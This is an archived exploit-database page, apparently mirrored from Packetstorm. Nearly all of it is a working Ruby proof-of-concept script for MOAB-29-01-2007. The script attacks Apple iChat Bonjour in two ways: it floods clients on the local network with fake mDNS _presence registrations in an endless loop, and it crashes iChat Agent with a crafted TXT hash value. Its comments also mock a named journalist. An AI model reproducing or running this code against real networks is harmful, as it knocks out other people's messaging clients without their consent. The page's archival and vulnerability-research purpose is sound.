Lucene search
K

MOAB-29-01-2007.rb.txt

🗓️ 31 Jan 2007 00:00:00Reported by LMHType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 19 Views

Creating a denial of service attack against iChat Bonjour services by exploiting design weaknes

Code
`#!/usr/bin/ruby  
# (c) 2006 Lance M. Havok <lmh [at] info-pull.com>  
# All Rights Reserved.  
# basic proof of concept for MOAB-29-01-2007  
#  
  
require 'digest/sha1'  
require 'rubygems'  
require 'net/dns/mdns-sd'  
  
bugselected = (ARGV[0] || "0").to_i  
TMP_ARR = []  
DNSSD = Net::DNS::MDNSSD  
  
trap("INT") {  
puts "++ Exiting..."  
begin  
TMP_ARR.each do |o|  
o.stop  
end  
rescue  
end  
  
exit  
}  
  
#  
# This method abuses a design weakness in iChat Bonjour services, allowing an user  
# to conduct a denial of service attack against reachable clients by registering multiple  
# (fake) _presence records.  
#  
def oh_gnoes_contact_dos(status_msg = "ekoC stronS reztleS yrraL".reverse,  
firstname = 'Pwnies',  
lastname = 'Mgheetacek')  
  
available_status = [ "avail", "away" ]  
cur_status = available_status[rand(available_status.size)]  
  
# the TXT keys (see http://www.xmpp.org/extensions/xep-0174.html)  
keyset = { "status" => cur_status, # - presence availability of the user  
"msg" => status_msg, # - user's state  
"vc" => "CUAV!", # - user's ability for A/V conferencing  
"1st" => firstname, # - first name of the user  
"last" => lastname, # - last name of the user  
"txtvers" => "1", # - version of the TXT fields supported  
"phsh" => Digest::SHA1.hexdigest(rand(0xffffffff).to_s), # - fake SHA-1 hash of icon  
"port.p2pj" => "1337" # - Port for link-local communications  
# (ignored).  
}  
  
count = 0  
while true  
rand_str = "3891ecniSrevoLyaGeipmaerCterceSkecatPreztleSyrraL".reverse  
(rand_str.length-1).downto(1) do |c|  
n = rand(c) + 1  
rand_str[c], rand_str[n] = rand_str[n], rand_str[c]  
end  
  
puts "++ Registering presence #{count}"  
# TODO: add NULL record with user avatar icon (ex. Larry Seltzer's taliban bearded face)  
dos_handle = DNSSD.register(rand_str, '_presence._tcp', 'local', rand(65535), keyset)  
#sleep 40  
TMP_ARR << dos_handle  
count += 1  
end  
end  
  
#  
# This method causes iChat Agent to raise an exception (SIGTRAP signal) with a crafted TXT key hash.  
# Program received signal SIGTRAP, Trace/breakpoint trap.  
# 0x9262050b in _NSRaiseError ()  
#  
def format_dos()  
keyset = { "status" => "avail", "msg" => "I'm the Doomed eWook", "vc" => "CUAV!", "1st" => "Larry",  
"last" => "Seltzer", "txtvers" => "1", "phsh" => ("\250" * 40),  
"port.p2pj" => "1337" }  
  
rand_str = "nabilaTAsAlufrewoPsIyrraL".reverse  
(rand_str.length-1).downto(1) do |c|  
n = rand(c) + 1  
rand_str[c], rand_str[n] = rand_str[n], rand_str[c]  
end  
  
dos_handle = DNSSD.register(rand_str, '_presence._tcp', 'local', rand(65535), keyset)  
dos_handle.stop  
end  
  
#  
# Proof of concept method selection below.  
#  
  
puts "++ MOAB-29-01-2007: iChat Bonjour Fun"  
puts "++ Selected target: #{bugselected}"  
case bugselected  
when 0  
format_dos()  
when 1  
if (ARGV[1] and ARGV[2] and ARGV[3])  
oh_gnoes_contact_dos(ARGV[1], ARGV[2], ARGV[3])  
else  
oh_gnoes_contact_dos()  
end  
end  
  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

31 Jan 2007 00:00Current
7.4High risk
Vulners AI Score7.4
19